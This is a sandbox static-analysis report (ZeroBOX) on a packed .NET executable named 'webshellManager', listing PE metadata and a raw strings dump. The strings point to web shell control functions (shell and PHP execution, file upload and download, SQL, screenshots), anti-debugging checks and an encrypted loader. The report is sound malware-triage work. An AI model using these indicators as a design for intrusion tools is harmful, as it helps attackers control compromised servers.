Static | ZeroBOX

PE Compile Time

2021-05-20 14:51:36

PE Imphash

f34d5f2d4577ed6d9ceec516c1f5a744

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00002000 0x000b0674 0x000b0800 7.67564643211
.rsrc 0x000b4000 0x0005acd8 0x0005ae00 2.60488076439
.reloc 0x00110000 0x0000000c 0x00000200 0.101910425663

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0010a528 0x00004228 LANG_NEUTRAL SUBLANG_NEUTRAL dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON 0x0010a528 0x00004228 LANG_NEUTRAL SUBLANG_NEUTRAL dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON 0x0010a528 0x00004228 LANG_NEUTRAL SUBLANG_NEUTRAL dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON 0x0010a528 0x00004228 LANG_NEUTRAL SUBLANG_NEUTRAL dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON 0x0010a528 0x00004228 LANG_NEUTRAL SUBLANG_NEUTRAL dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON 0x0010a528 0x00004228 LANG_NEUTRAL SUBLANG_NEUTRAL dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_GROUP_ICON 0x0010e750 0x0000005a LANG_NEUTRAL SUBLANG_NEUTRAL data
RT_VERSION 0x0010e7ac 0x0000033c LANG_NEUTRAL SUBLANG_NEUTRAL data
RT_MANIFEST 0x0010eae8 0x000001ea LANG_NEUTRAL SUBLANG_NEUTRAL XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

Library mscoree.dll:
0x402000 _CorExeMain

!This program cannot be run in DOS mode.
`.rsrc
@.reloc
}0B6P@
WB-On(5
h.Q';H
iuJpJ`
g7]aY<
k$83H
/^X9iJO9f
gr(x#=
wFZX@E
dS%&8f
"Xi)8>
[/O%&80
_o<i%+
G>u.%&8
NtCoT
X ntinT
l=SY%+
daZ 5 I}a8
DAUZ qm
Z-h%&8
JSPq%&8
cet^%&8
& 7Hk'8n
v8%&8g
ntdlT
NtCoT
, [ZHDZa8I
X ntinT
X l.dlT
, f1uFZ U
M.Z [c
'M^v8
ieZ 0e
$ 3h(t8
Q"Z mp
:H^Z P
Z B}gHa8&
, i[<+Za8
_'j%%+
_=%&8h
ntdlT
X l.dlT
'XGR Wr
o9_ BT
Z G%<^a+
Z?_b`
O<v%&8}
K7]a8<
hK.%&8
Z MxYTa8]
?/$?Z P!
H~8Z uU
_bj/
_bY*
T{Z RY
u8?a8i
3_KZ 7 l
1.fp8
KvPZ Ol
rZ 2/"ma8
aZ l:9
=,\cZ
zO_Z v
Z_bX
0jS,%+
W!I,%+
,JvbZ
Y_cX*
U05%&+
q<Z o Cea8a
-!2Za8
Z ,JLea8a
7\sJ
cZ W'H}a8,
IZ +Fo
M#E%&8I
!Z O&D
qav4%+
~wZ D
naZ a\
iZ w'r"a8;
_&sJ
8]$_Z |
~=4Z
sH G(
sZ ?Uy
.CkZ HH
>Z 1j_ua+
D<Z ;c
bS>8
8g?7Za8
%S Z !
71fZa8
(=g%&+
?JZ ;Toka8d
A}IZa8L
Ot%&8+
}e3 p6
+~Z kF
`]Za8a
!P-c(
^"Z I<J
9&hZ gz
Z `7sTa8
<#@a8f
]Z )KU
m.,a8r
o ^zZ
,Q9,Z
<ItFZ
Z bBOQa8
PU?1Z
tQna8Z
(1^Z )Q3
A6gLZ
#_da82
)H2Z 8
DfZ > \
r|mZ _
5uYdZ {
l#Z =`
w]|+Z
D]utZ
.S}a88
d<Z hIG/a8
+C {TCw b
{TCw%+
+{ e3?
3raZ f
r\Za8L
ovyZ >
k9,Za8a
rg ) s
PZ`h(
\!.FZ
L&)aZ h
XGHa8J
7r"a8N
:Z kTf
Z _Lqga8d
sZ N*
8~<,Z
Z q0Rka+
2oZ +g
W@Qj(
Z 3ZcEa8
?]Qa8;
on9a8}
W@Qj(
&:;!%&8?
L<f#%&
Ew|p(
.Z&eZ
MNZa8l
:/Z "A
^ea Gq
W@Qj(
#9`a8S
-yZ K/
Xqca8`
__VZa8h
hmWhZ z
W,4a+
F~?QZ I^
jt7 *%
oU=a8z
tYHm8|
VzZa8:
OLLJZ
{IaZa8
U]hYZ
I=tZ ,G
Z wN99a8
{-qHZ
z@uZ 5_=sa8
fYZ ?U
:/)a8x
,I9BZ p
:C!Z eK9ja8
EnEa8#
QZ 5$
Wv?a8c
$n]DZ U
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PADPADP
WSystem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
&System.Windows.Forms.ImageListStreamer
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD|
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDAT8O
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDAT8O
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDAT8O
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPADF
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
alI3!5g
|is&vq
c!3L|X
7'phu#
']%=g2
@oN!7J"
CF|4HEy
G>D%r%v
}!+ob
Jwcpc=
h9~v;HQr@s
7Q<-,A5k"
u>_IC|
Ow0*D0
Wd2'f:
e~O<*>
rLsKY~
+b;4Xps/
G5k/.ugH8
5#{x,'
O}L[H+
?3S*)\
1GeF"T
=LyS&7
j j[0
.[E'rl
G2]`_y
";{$CNe
,^7Z1J
.^rxS1_z
s9;`";s
^/ 2g>
:VwER3
Lt6Xqd
*~Q'X~W
F^Imb{s?
HsrBHL
?Gu$/,
)QNiJ3&a)
2j8;"&
\dC|9c
^T3bR"
eiv)*C
kh-Vg}~
z #-E8s
X:~M%]f"
^F2f:CV,
N<NjG9.
jNU40a
(:M~2B
<&Du%2
3rwb0*^L
5{>=kfpb
o9 _kAu
NK0yK.`
T.XDrf
*D"RDiG
f$j1Ih
:qH. ^
^o$}:Y;f/
< qo>X
ZIv])k_
)HfH1v
ij]|JM!v
wrb[=O
5/G&c(
b|=x!
0s3%x5f
Xu1[pvQ
y!jg~1O
ru~m5bA
;h>:]g
Icqp:-
?x6/Om#We%)
dE{p+F
xSCeN4
'MBjG,
Jbt\r#_/
N+q)`7_
`uk%-Z
_LIr V
1-"_h}
rTs&W%
T+_D'+
uV_x{M
>EAY/
;Ys5V`
rwN1>ei$
*rS'ru
dNL^.i-z
U4Yj`=
%sb)>2
~Zp?dJ
{~T0~\3
EX#(wu
V5s`g_
](M}a/
vfi|E{
G^@Nj_V3
M5r9wXWT
}qs,;7sT
'|aFW,
oY[6_]F
X7[N4JQ
XEB_K\S
(ui$\0;SF
XiLdH+
DIi(!Je
*RJRd5D
d}Bqx<
*x}+_c
x0tD2O
W"zs*9
kjNc:x
?&/p6?
d6Sn^f
Q?r^0X
wkvpsK_
4H.eXV
Jq_{^v|
[6GUQ:o)>
\bBTa
J$m|xY
A=[j|Y;
[Ntv0w
#nrev6S%
1 ~]7#,
?Gqm&EiG
a.cUv3
]=Fj_/
IDAT)"
%MW2Vz
y/MXvg:
# z8'O
gxX~a|
6CKo)E
wjd]+'
bxeV3f
kE1:k%aY
I%*4|y
8f%1Vr(rg
VEYe>F
3%c/%g
m>O8Ip
E5n{]&^e4
I(KfU
!rrH'3
5;cZ#K
E{oqIm4U
E+kLO|
~Fb|i>7
]jL<+Km
vcer<-wt
}ujfn!q
S`_v}>
|p7dGN
81u,)#
w|$el/
W#b#EiK
8ohF.,
n!.G/2
yyGJl{
F0LU_'3R
)'<}'Q
$zk/K_*
xxy"*3E8o.
sQo~EeT5
M_WSu#
Y>5z!-
zk&A.z
K9f_~N
k>q"}7O^
57*^2F
E/eB[7
I;_!;J
Pb]E'!
'o&"o.
2bOl"C)
octg"Z+v
VI:.=c
gqRy u=
Q=u)'D
9-=D`7s
i7O&{
"{q%&'
1w</W!
NkG+x#
K;^'~q
i~ZC[i
Q&5;%Y
QemN(}
!DBSp{i
{l6_`xN4G
&(RI>~
KWq!e8
}B9n1{
FVkMA7S
-o?_!o
gs*t6c
[Xyq97"3
!+kPl7
u"2AuL
G`8m5ik
ZV*@i>
apR-{t
R6^`xw6;
z'<|&0K8
T`%>,{
efz)iJ
X@rW!SN\
1b_>%6
gc9~c-
_74r,
}?N "#
A}'q|1
wj%gg(p
ILCsa;
R[2#o
5tePn3
hBWl!b
K\N($u
2l.yr
-<Ewj(
#*dM^j
K?I~D4>!
~>Ku"Q
g9%wk1T
(TQafj0y[
doS#;^
f'#:sI
TxY_EE
mOfe,F+
B7_ZoP
(6y"[/Nw
IDATP~
aqS$[.
d|,?0U<
}iA).|
\]/Eh[
kR%Xh6
~FpdM!
DZ_@Kg
0nB<gTu
_, EU}
2|hmp%!
s~pn~'e1
W445pC
%3J^MB;S
qP|8%;r
;q{v"
O,#oZR
bio2[C
pVv[^
m9!}-x
GsPw*I
f@Ev,
:uW^Rzc
*Ut_/Gv
r{ cdr9;&
2d(s2eR
liV* v\-
]nGq^X
5|p[GY~5
F@aF8fF
cqUDCN1
h\QHtW
EMWq_:
kqhM3b
A~v3B#
]`jZ(+%F
l)Pb;d
$H40P`
@}=i_i
]BYx5+
S_GpY-
-?m c6N
sde$qS4
=G}d_~
TC!z;C
W`F|,7
yj3b7}
.fB9Lq
Mh=k!
9w8Q50
F1(y'j
$jL#jy
KY|v"F
|~/}OW
^o*F%`
e,^BCit
2z#.ql
KM8&%E
=[G.CD
#EG[2?
v2gH&S
xn4>*>Lm
Oae~5iS
3kt73=C
K'pBl%
U)*ZJzm&
)~x-id
f8T*25X
8Aq5mA#N
*_9rN\
u9fF_J
hq:6S7r
YRW81It#
&jr5<,
O6\YCM
SQ&Y?&3Vw
G? kSL
%}94MP
:qEcHu
.1|k8%
oGVr>^
^]0g[L+
-V2cV)g
>$/:NO
O*Mg!k
TiY3FO
wR8s=)Z
Cu/p_%
]7x#cE
z|(xEf
=!$(e
isIWp$3 
YP4o8rJ
^o`jc3
EsE+&5
I@k;b~
y4-i;P
WL3H.>
LM^F^
g=qR"\
.;#Zmf
^Q&Y\
uqe[8U
,{*..
$WGpB]
!6;N":#
=,n,cd
g\Kv2o
bMZV,3>'
"[MBy?f.^
Lv#^`B
|bwQ,"
gNq }%
[%)Jvu
&N:fK
2r|)U7j
TW_268 i
:3-W"i
G|5_D*9:{:[
tf+!r6
AzX4O/
DGm:[2
p{6Oj.p
uFr8XP
D&y0df
~+'[vQ
lOrx}1V
~{0{E&
Wm>'eN
%}bJ05,
c6e'U^
@kT*n
Q:T7qT
~WG0Zm4:
&3-z(E
<Cnf?nk
6vs1e)UM
ln'0V$
9G~y8[
};j15h
1[NM?K
ZT&Da'
!z^<`hC_
]db?'.
D;kR^f
l$|orc
_~xOh%
h,r"ag
&p=j*';?s.
*l^Tbv
*8:e;aC=
kQx)BJV
u/Qr3"y
o+96/7`
+6w\(X
e)4*Fk
f< &~2
7J=1(JMf
F%*Qq,x
q >Or9b
&RR*iP
k2?'1yv
UB4-9G
T!TtF#~
=ybaCG
8Jur8,z
OYI;~_}
apk5jF
)zSxsJ
({>%Ge06
@#n'w1qU
*iIjXo
Tbosa{
/$;.F!o
F;^?5%(`2*
>XJfl)
`je7A~Y
&U~i6!
+M\~;]
~ qf'G
8vE"zA
*K>\W@zY,
}u|sl
akPh{O
]N>H#Ex
?W']cmT*
!86|#g
yB!o>5Q
fsO;^/
%h0c\s
+qgOp65U
+%-1|~
IQcx!k
i(hs^B
fmahS.
AL63&w
%Ig>n~
xz_oeI
U;GQleD
H e{8xW
PO GJCx~O
~;O//e
*DGz#<1
RBce=C
IwY83m
1!f?Y?
3:]$M.
\MseN[%c
F_(@!@
vN"+&'pLr
0FPG]?KY[p
d0j\Mw
(H=!^y9;
w.wzpDz
cNpg5G
P+8ofX"
bLd=Yb
z'!1?(
8&l(G-
@[mFvDS5X
MCV.oV
O!Sh(=
8<B_rY
*c[X!
&Svp7{
:Fx.&yq B_
g!nx8i
4&jM9W
=`FOC<
s#L@Q}
4'|o\A^
>,N(!ge&
,G3Ui9
^dU/P7p
s]47{b
#QQT!b
.P[jNR
fTKo2'`*
$Nw!iP
;r5_p&
yTkJWM
4g>+/g
".s(CkO2
h|Cds5
/ryzd^
z!{>;1
oDq~>Gg
a4p%iN"4
X9e2/Vf
^.@iq.{
"yi1bz
nS]95=
~^RAM3
BEFK<f
@xv=cWeq|M
s%p7}Zl
W_'|H(
k5}P\'
O do _
fKWng
<}f\vc
n!@i1G
w1q7SX
~dRj*Nk?r
mNMS*UUY)
,zzgsN
?Kl19U
1YCgqe
5A`OBi[
o!Ju;)B
H}n%ag
Ur/iCdX
g8:;UP
B03J"m
nl;wBE
afz?^*Hr
B>q0~=
um]<{i
pYf9^;
Dk8`YV
~Hem&u
TgqB-:
E0FS@,
4e,H6YH
eY<[" $
>WU9?Y
'Ij(=
r$y=x
fYv2oz
VY#H."q
Oxq(:m
v<7R@j
F5F2Ee
{Nk z;
!g^s;)
N0N_`"
L70$Kv8
ul-2Bq
%H|+eK
(rdW\$
91n"'T
yq~3yo"
vsPm9{
`zP<s{
5,'"g6
F}fYv_~\
G4RYds
pk%C^
7~;+uF
syv+WV
~0<oI6e
h~%|')
sM6{~d
Lw_#!)
9pcN0
D9ON}!
$mR$'r
M<t^Nu
A2Y'-y
s~Huv5
RW Gdga5
JPs4s^
3_pQx6
r#QV:I
g}&Xn ^M
&fu|"
gxv/%s
Ha a*/q^vD`8
.h&9v<
IDAT[b
~z,q?'
_HrS5=
:T,7C/
0O%VR+
/QRu,t}FB
YB@[ E
H0pc!5
9xa C?
\J+&h_<'%
;eGD7
&+5:i)
'0edb
Y)BCw#
^gGL.Q
n*O="4
z|{PBU
d~b/6
oDSg3}
#4<U$fn3
3CXM@*
CVc>h4
#sg65{
o{fJl&}m5
O^%qX8
q<Z>)|2L
(}:+op
V/Lfx[
}'Fmt3
GM'5e
>u6k6L
U38/0"G
qFN~Dj
bL7.#p\
,jwj2|
md:/$k
3lr;/&n
BkA'\?
&FIs?Ah
='jo#:
|,Cw@$
Y85_CH
cf(a>.
L{1]0/
$A9*Q4
q9'O@X
h)|D%"
rA:NCUg3R7V
-0b]UN
{M}|<U
#.YAVN
^#~g.E
w3Sh<g
fUtn2ZW
ABf+u3Dx{2
/u%67%
CTt0W.e
v EAcI
0 My(c
'j~":Q
i5gX=(
gw.P>
xb<G`U
2(r|9+Er
^2q,,
Q4k6?r
gjazj+
ZHix!q
0a[A5)
$Df7qLs&
+/BP_i
Eyvv:IGf0Ly
ev<) ]W
m$Gj1h
,syO|G
UVOQgg
ik71N~
S6Qt%-d
Dcsj3nr+QP
>$(F2M
tA!yrI
UHjlg@h:}~_
:xX@z39
#/i9]/Rw<
)i`H{6
8"\zPw2@w
%{t&/$
{yl2M!
TF6^Bo
-2+? 5
qmB2W&
mNpTo.
20c.sm;
4>=7E'
c7tknsR
-Dw)b6
A"p85w
WV!?t<
0Ft~el
+r+w1g
nz4RqOIf
qno?N-
x?~a-C
4u;}zu
4+ngYv
_Od0"}6
msAxU?v
JDrMq3
o\,0mM^
1b|5ov
8Mn@Ys
|GGs>/;
AkT=[3Dq
WlE{q4
UF3iNVlH
1k<=?V ?a7
un<6Z>
xvv?#>
}r1oe
C9],2u
{-8.SN|[?
V7:_tP6
LA5,;i
;XR<3
i|QzNX
m},gW1d
nm%h[8
;|~*MOD
1 Ku,a
*O:Jx6;
2)gN[+
gm7V+e
>86L`d
Xup"M+
$>#=v-
i$A3dHZx
S9#Nh1,
@!2k6"
8Kb^so
?MUI<3
EIp9~o
ih;d#UQ
^jl&`!X
,+JFuW/
l=A?]}
qd|.#2
`C^8:B
ygYd]O
ILwG3it"
> 6O=J
}O1/y;f:C
DR`.cg
+Y$8Aa
}+wr9B
<N{?#-;
M6&NaG
Mea||y
}}&Spy
Kd,g!}
Tbw}$G
NVvg3Pv
y+N2K:
JQ.?mg
B6a:;d
%f[?D,
a3z5._
9x:-G&q
4;}%Q|2
0G[f}>
UFun'_\@v
>hOj'5q
a"~vs@E
HIz>7F
ngnP_n
>9,(le
1>Z<R[
r~,7m
k-GWh#3
TOftt<%%f
`AK\2
; }l)
a]N}xAT
D&|&T,
T0_b V
,#uZ;)
i#rw63
0c\6;o
."4e?~
74wYsV
zIft+[.
cri9z?l
8sw2+nk
(:nWS,
x'CDN%'&
qV:8$[0
e4?,G1c
2"r)rI
>3HSj`
MW?`z$
r\e"Bj*
w*{7,g_
ir+O[@
QKb$S
9w]\q*{
a[(9BE
7AXK^F5}
A$w7=?
[,,H<:
y{p}&O
z%;[SI9~
sL=]8
w>#t\#rs
b?Ic]k
K?&ib:
_Djw=w_
}'2y7.
OYXYDFx
b([=$y
AcE$nZ#
as|=+z:Q
H37K&S
Foz1_n
Ll_m~~
7n$br%
WF;r{J
oeBsT$n}.#",C
x.I7#:e<
w'VsXs:
q$D&S4
c_3S|Vr
CWPVScor
IDATXe
+8&k"|:
e6/J"+
DeFRe
K3)O{$
.L9ZCdS6
(|(OT_s
5N"<\t
&d^+qVQ
'uxVj'
0 G>4S
K|>jgeQ
=-daI=!
Ij;7g|FH
{C;k_^
7+_`0
4N[MGr
UE][hY
5{Z.bd
{RAta+6
=H.?Iy
ChwM$&O
N;lywV
RMF?cv
FFgzQ_|
h+K1JG
tne-A_
.vLH`p
HeMEaK4
7A.,i4b
$w4f f
z%#yb<
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
pIDATx^
ItyGs/@
}p[[4O.-
_a%^u*
De&t'|
GJJJJJJJJJJJJJJJJJJJJJJJJJJJ
v4.0.30319
#Strings
#Strings
#Schema
^"_,_1_7_?_D_S_Z_n_w_
`(a2aBaHaVagana
d^dodud}d
e%e4eCeRe_eheze
_H`_`l`
UzSMNq
.cctor
System
Process
System.Diagnostics
CloseHandle
kernel32.dll
IsDebuggerPresent
OutputDebugString
VirtualProtect
mscorlib
Thread
System.Threading
ParameterizedThreadStart
RuntimeTypeHandle
Module
System.Reflection
ValueType
NtQueryInformationProcess
ntdll.dll
Win32Exception
System.ComponentModel
Object
Stream
System.IO
QvqlAqDRNjr
System.Windows.Forms
IContainer
XnDgsf
PictureBox
Dispose
InitializeComponent
IDisposable
ISupportInitialize
Control
System.Drawing
PictureBoxSizeMode
ContainerControl
AutoScaleMode
ControlCollection
FormBorderStyle
GYHTXPPex
List`1
System.Collections.Generic
TextBox
Button
rCkhttN
parent
isNotDuplicate
isValid
kzHzNY
btnAdd_Click
EventArgs
KOYEUV
Random
WebClient
System.Net
Exception
DialogResult
AnchorStyles
ButtonBase
EventHandler
jyMrrH
YBIkIDBDC
get_OffsetMarshaler
get_ReturnMessage
OffsetMarshaler
ReturnMessage
bFrwJT
get_name
set_name
get_size
set_size
get_permisions
set_permisions
uXLTuz
get_type
set_type
get_lastMod
set_lastMod
pPerms
permisions
lastMod
mEeMPo
ListView
ColumnHeader
ZysgiGwiir
refreshListViewInfos
currentWs
selectedFilePath
ListViewItemCollection
ListViewItem
IEnumerator
System.Collections
ColumnHeaderCollection
riTUow
HLBDoqiH
ImageList
ContextMenuStrip
ToolStripMenuItem
ToolStripSeparator
SaveFileDialog
selected
selectedFolderPath
listFiles
button1_Click
jLJUzY
lvExplorer_DoubleClick
fileManagerForm_Load
AERrKHhn
cmsFileManager_Opening
CancelEventArgs
tsmiProperties_Click
MnizXLn
tsmiNDir_Click
oFULqbj
tsmiDelete_Click
tsmiRename_Click
tsmiZIP_Click
BOTQJn
NUZOwI
tsmiUpload_Click
tsmiDownload_Click
ImageCollection
StringCollection
System.Collections.Specialized
SelectedListViewItemCollection
ToolStripItemCollection
ToolStrip
ToolStripItem
FileDialog
CommonDialog
Container
ComponentResourceManager
ToolStripDropDown
CancelEventHandler
ResourceManager
System.Resources
ImageListStreamer
AovPIp
DduDUPe
RpcqsVy
selectedWs
qXWESCb
GFUzsxx
WebBrowser
btnExec_Click
aveViLe
PlDLApx
btnScrnShot_Click
BTAmJx
aIXmII
TextBoxBase
BorderStyle
FontStyle
GraphicsUnit
ScrollBars
vzkzGV
TreeView
SLVWSLhi
bxzMlGna
btnExecSql_Click
btnGetDbsTbls_Click
PBRkKXzd
exportToolStripMenuItem_Click
gPTRBu
treeDB_DoubleClick
HJUXjrhsKf
cmsSQL_Opening
TreeNodeCollection
TreeNode
StringBuilder
System.Text
ListViewSubItemCollection
ListViewSubItem
CqQbqh
TjYHdVH
lrUXaTH
PhDATZC
address
pVariable
querybasicalInformation
IDictionary`2
queryInformation
QivXenB
browse
Tuple`3
fileInformation
owqIJi
SQLrequest
Tuple`2
Cyewvx
takeScreenshot
Bitmap
newDir
delete
rename
upload
download
shellexec
lahIUQLy
phpexec
setUrl
setVariable
getUrl
setWebClient
EtSzWN
getParam
getDirectorySeparator
Encoding
MatchCollection
System.Text.RegularExpressions
RegexOptions
GroupCollection
Capture
MemoryStream
jGjgKG
BbQvFf
StatusStrip
SbETQziXwJH
ToolStripStatusLabel
vbYpXvMxBY
BZfBRA
ToolStripButton
iIHQmc
tsButtonAdd_Click
cDUJwk
cEUhkqu
informationsToolStripMenuItem_Click
deleteToolStripMenuItem_Click
horaiA
pHPExecToolStripMenuItem_Click
shellToolStripMenuItem_Click
fileManagerToolStripMenuItem_Click
BYOBlr
PdOBhLd
sQLExplorerToolStripMenuItem_Click
RHdLqkn
cMenuStripLV_Opening
tsButtonSave_Click
wsManagerForm_Load
tsButtonAbout_Click
ScreenshotToolStripMenuItem_Click
uafrqh
gWWRmmwunFm
get_ContextMenu
ContextMenu
set_ContextMenu
AES_Decrypt
CSrCLF
FileStream
FileMode
BinaryFormatter
System.Runtime.Serialization.Formatters.Binary
ToolStripRenderMode
ToolStripItemDisplayStyle
AppDomain
Assembly
MethodInfo
MethodBase
RijndaelManaged
System.Security.Cryptography
MD5CryptoServiceProvider
HashAlgorithm
SymmetricAlgorithm
CipherMode
ICryptoTransform
CultureInfo
System.Globalization
get_ResourceManager
get_Culture
set_Culture
get_plane
get_PWqyTaHlYbf
Culture
PWqyTaHlYbf
ApplicationSettingsBase
System.Configuration
get_Default
get_Setting0
set_Setting0
SettingsBase
Default
Setting0
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
AssemblyCompanyAttribute
AssemblyTitleAttribute
CompilationRelaxationsAttribute
System.Runtime.CompilerServices
RuntimeCompatibilityAttribute
DebuggableAttribute
DebuggingModes
GuidAttribute
System.Runtime.InteropServices
AssemblyFileVersionAttribute
TargetFrameworkAttribute
System.Runtime.Versioning
ComVisibleAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTrademarkAttribute
CompilerGeneratedAttribute
DebuggerBrowsableAttribute
DebuggerBrowsableState
STAThreadAttribute
DebuggerNonUserCodeAttribute
GeneratedCodeAttribute
System.CodeDom.Compiler
EditorBrowsableAttribute
EditorBrowsableState
UserScopedSettingAttribute
DefaultSettingValueAttribute
webshellManager.aboutForm.resources
webshellManager.addWebshellForm.resources
webshellManager.fileInformationsForm.resources
webshellManager.fileManagerForm.resources
webshellManager.informationsForm.resources
webshellManager.phpForm.resources
webshellManager.screenshotForm.resources
webshellManager.shellForm.resources
webshellManager.sqlForm.resources
webshellManager.wsManagerForm.resources
webshellManager.Properties.Resources.resources
IntPtr
op_Equality
get_Size
op_Explicit
UInt32
String
Concat
Environment
GetEnvironmentVariable
FailFast
get_ProcessName
ToLower
Contains
set_IsBackground
get_CurrentThread
Debugger
get_IsAttached
IsLogging
GetCurrentProcess
get_Handle
get_IsAlive
GetTypeFromHandle
get_Module
Marshal
GetHINSTANCE
get_FullyQualifiedName
get_Chars
ReadByte
get_Length
RuntimeHelpers
InitializeArray
RuntimeFieldHandle
Buffer
BlockCopy
get_UTF8
GetString
Intern
GetElementType
CreateInstance
ToInt32
ArgumentException
GetProcessById
SizeOf
BeginInit
SuspendLayout
set_Image
set_InitialImage
set_Location
set_Name
set_Size
set_SizeMode
set_TabIndex
set_TabStop
set_AutoSize
set_Text
set_AutoScaleDimensions
set_AutoScaleMode
set_ClientSize
get_Controls
set_FormBorderStyle
EndInit
ResumeLayout
PerformLayout
Enumerator
GetEnumerator
get_Current
MoveNext
ToString
DownloadString
get_Message
MessageBox
get_Text
set_Anchor
set_UseVisualStyleBackColor
add_Click
IEnumerator`1
KeyValuePair`2
IEnumerable`1
get_Key
get_Value
get_Items
get_Columns
AddRange
set_UseCompatibleStateImageBehavior
set_View
set_Width
get_Item2
get_Item3
get_Item1
get_Transparent
get_Name
Console
WriteLine
set_ImageIndex
set_Tag
get_Images
get_Keys
get_Item
get_Count
get_SelectedItems
get_Tag
set_Enabled
Microsoft.VisualBasic
Interaction
InputBox
set_FileName
ShowDialog
get_FileName
WriteAllBytes
set_AllowColumnReorder
set_ContextMenuStrip
set_FullRowSelect
set_GridLines
set_SmallImageList
add_DoubleClick
add_Opening
GetObject
set_ImageStream
set_TransparentColor
SetKeyName
add_Load
set_DocumentText
set_MinimumSize
get_DimGray
FromArgb
set_BackColor
set_BorderStyle
set_Font
set_ForeColor
set_Multiline
set_ReadOnly
set_ScrollBars
ToArray
System.Core
Enumerable
System.Linq
get_Nodes
Append
get_SubItems
WriteAllText
get_SelectedNode
get_IsSelected
get_Level
get_Parent
set_Indent
set_DefaultExt
set_Filter
Dictionary`2
set_Item
Create
set_Encoding
Matches
get_Groups
GetBytes
Convert
ToBase64String
FromBase64String
FromStream
get_NewLine
Remove
get_Magenta
ContainsKey
ToUpper
get_CurrentDirectory
Serialize
Deserialize
PerformClick
set_HideSelection
set_RenderMode
set_DisplayStyle
set_ImageTransparentColor
GetDomain
GetType
GetMethod
Invoke
get_ASCII
ComputeHash
set_Key
set_Mode
CreateDecryptor
TransformFinalBlock
Application
EnableVisualStyles
SetCompatibleTextRenderingDefault
get_Assembly
Synchronized
wsManager
WrapNonExceptionThrows
$9480809e-5472-44f3-b076-dcdf7379e766
0.8.0.0
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName.NET Framework 4 Client Profile
webshellManager
Copyright
Fayva
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.0.0.0
